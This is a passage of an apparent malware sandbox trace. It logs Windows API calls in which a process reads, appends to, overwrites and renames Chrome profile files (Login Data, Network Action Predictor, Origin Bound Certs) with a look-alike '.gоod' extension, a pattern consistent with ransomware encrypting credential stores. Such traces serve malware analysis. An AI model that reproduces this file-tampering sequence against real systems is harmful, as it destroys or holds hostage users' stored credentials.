lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal", lpFilePart=0x0) returned 0x50 [0170.069] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal.gоod", lpFilePart=0x0) returned 0x55 [0170.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0170.069] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\login data-journal"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5231ba4e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5231ba4e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x6193fa73, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0170.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0170.070] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\login data-journal"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\login data-journal.gоod")) returned 1 [0170.071] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor", lpFilePart=0x0) returned 0x56 [0170.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0170.071] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor"), fInfoLevelId=0x0, lpFileInformation=0x365e548 | out: lpFileInformation=0x365e548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5292eec7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5292eec7, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x53b5f051, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xf000)) returned 1 [0170.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0170.071] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor", lpFilePart=0x0) returned 0x56 [0170.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0170.071] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0170.071] GetFileType (hFile=0x768) returned 0x1 [0170.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0170.071] GetFileType (hFile=0x768) returned 0x1 [0170.071] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x1000 [0170.072] ReadFile (in: hFile=0x768, lpBuffer=0x365e9d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea9d8, lpOverlapped=0x0 | out: lpBuffer=0x365e9d0*, lpNumberOfBytesRead=0x1f6ea9d8*=0x1000, lpOverlapped=0x0) returned 1 [0170.073] CloseHandle (hObject=0x768) returned 1 [0170.073] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor", lpFilePart=0x0) returned 0x56 [0170.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0170.073] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0170.073] GetFileType (hFile=0x768) returned 0x1 [0170.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0170.073] GetFileType (hFile=0x768) returned 0x1 [0170.074] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0xf000 [0170.074] WriteFile (in: hFile=0x768, lpBuffer=0x365fd10*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea8f8, lpOverlapped=0x0 | out: lpBuffer=0x365fd10*, lpNumberOfBytesWritten=0x1f6ea8f8*=0x10, lpOverlapped=0x0) returned 1 [0170.074] CloseHandle (hObject=0x768) returned 1 [0170.074] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor", lpFilePart=0x0) returned 0x56 [0170.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0170.074] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0170.074] GetFileType (hFile=0x768) returned 0x1 [0170.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0170.074] GetFileType (hFile=0x768) returned 0x1 [0170.074] ReadFile (in: hFile=0x768, lpBuffer=0x3662008, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea988, lpOverlapped=0x0 | out: lpBuffer=0x3662008*, lpNumberOfBytesRead=0x1f6ea988*=0x1000, lpOverlapped=0x0) returned 1 [0170.927] CloseHandle (hObject=0x768) returned 1 [0170.927] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor", lpFilePart=0x0) returned 0x56 [0170.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0170.927] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0170.927] GetFileType (hFile=0x768) returned 0x1 [0170.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0170.927] GetFileType (hFile=0x768) returned 0x1 [0170.927] WriteFile (in: hFile=0x768, lpBuffer=0x3304a60*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eaa38, lpOverlapped=0x0 | out: lpBuffer=0x3304a60*, lpNumberOfBytesWritten=0x1f6eaa38*=0x1010, lpOverlapped=0x0) returned 1 [0170.927] CloseHandle (hObject=0x768) returned 1 [0170.928] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor", lpFilePart=0x0) returned 0x56 [0170.928] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor.gоod", lpFilePart=0x0) returned 0x5b [0170.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0170.928] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5292eec7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5292eec7, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x62171a60, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf010)) returned 1 [0170.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0170.928] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor.gоod")) returned 1 [0170.929] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal", lpFilePart=0x0) returned 0x5e [0170.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0170.929] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor-journal"), fInfoLevelId=0x0, lpFileInformation=0x353dd08 | out: lpFileInformation=0x353dd08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529315f0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x529315f0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x53d9f3c2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0170.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0170.929] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal", lpFilePart=0x0) returned 0x5e [0170.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0170.929] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0170.929] GetFileType (hFile=0x768) returned 0x1 [0170.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0170.929] GetFileType (hFile=0x768) returned 0x1 [0170.929] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1f6eaa08 | out: lpFileSizeHigh=0x1f6eaa08*=0x0) returned 0x0 [0170.929] CloseHandle (hObject=0x768) returned 1 [0171.391] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal", lpFilePart=0x0) returned 0x5e [0171.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0171.391] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor-journal"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0171.814] GetFileType (hFile=0x80c) returned 0x1 [0171.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0171.814] GetFileType (hFile=0x80c) returned 0x1 [0171.814] WriteFile (in: hFile=0x80c, lpBuffer=0x350e860*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea848, lpOverlapped=0x0 | out: lpBuffer=0x350e860*, lpNumberOfBytesWritten=0x1f6ea848*=0x10, lpOverlapped=0x0) returned 1 [0171.815] CloseHandle (hObject=0x80c) returned 1 [0171.815] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal", lpFilePart=0x0) returned 0x5e [0171.815] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal.gоod", lpFilePart=0x0) returned 0x63 [0171.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0171.815] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor-journal"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529315f0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x529315f0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x629f00c6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0171.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0171.816] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor-journal"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor-journal.gоod")) returned 1 [0171.816] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs", lpFilePart=0x0) returned 0x50 [0171.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0171.816] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs"), fInfoLevelId=0x0, lpFileInformation=0x350fb30 | out: lpFileInformation=0x350fb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54135456, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x54135456, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xec432c10, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x5000)) returned 1 [0171.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0171.817] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs", lpFilePart=0x0) returned 0x50 [0171.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0171.817] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0171.817] GetFileType (hFile=0x80c) returned 0x1 [0171.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0171.817] GetFileType (hFile=0x80c) returned 0x1 [0171.817] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x1000 [0171.817] ReadFile (in: hFile=0x80c, lpBuffer=0x350ff88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea9d8, lpOverlapped=0x0 | out: lpBuffer=0x350ff88*, lpNumberOfBytesRead=0x1f6ea9d8*=0x1000, lpOverlapped=0x0) returned 1 [0171.818] CloseHandle (hObject=0x80c) returned 1 [0171.818] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs", lpFilePart=0x0) returned 0x50 [0171.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0171.819] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0171.819] GetFileType (hFile=0x80c) returned 0x1 [0171.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0171.819] GetFileType (hFile=0x80c) returned 0x1 [0171.819] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x5000 [0171.819] WriteFile (in: hFile=0x80c, lpBuffer=0x3511240*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea8f8, lpOverlapped=0x0 | out: lpBuffer=0x3511240*, lpNumberOfBytesWritten=0x1f6ea8f8*=0x10, lpOverlapped=0x0) returned 1 [0171.819] CloseHandle (hObject=0x80c) returned 1 [0171.819] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs", lpFilePart=0x0) returned 0x50 [0171.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0171.819] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0171.819] GetFileType (hFile=0x80c) returned 0x1 [0171.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0171.820] GetFileType (hFile=0x80c) returned 0x1 [0171.820] ReadFile (in: hFile=0x80c, lpBuffer=0x3513520, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea988, lpOverlapped=0x0 | out: lpBuffer=0x3513520*, lpNumberOfBytesRead=0x1f6ea988*=0x1000, lpOverlapped=0x0) returned 1 [0171.910] CloseHandle (hObject=0x80c) returned 1 [0171.910] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs", lpFilePart=0x0) returned 0x50 [0171.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0171.911] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0171.911] GetFileType (hFile=0x80c) returned 0x1 [0171.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0171.911] GetFileType (hFile=0x80c) returned 0x1 [0171.911] WriteFile (in: hFile=0x80c, lpBuffer=0x3391dd0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eaa38, lpOverlapped=0x0 | out: lpBuffer=0x3391dd0*, lpNumberOfBytesWritten=0x1f6eaa38*=0x1010, lpOverlapped=0x0) returned 1 [0171.911] CloseHandle (hObject=0x80c) returned 1 [0171.911] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs", lpFilePart=0x0) returned 0x50 [0171.911] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs.gоod", lpFilePart=0x0) returned 0x55 [0171.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0171.911] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54135456, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x54135456, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x62ad4c9b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5010)) returned 1 [0171.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0171.911] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs.gоod")) returned 1 [0171.912] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal", lpFilePart=0x0) returned 0x58 [0171.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0171.912] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs-journal"), fInfoLevelId=0x0, lpFileInformation=0x3399f10 | out: lpFileInformation=0x3399f10*(dwFileAttributes=0x20, 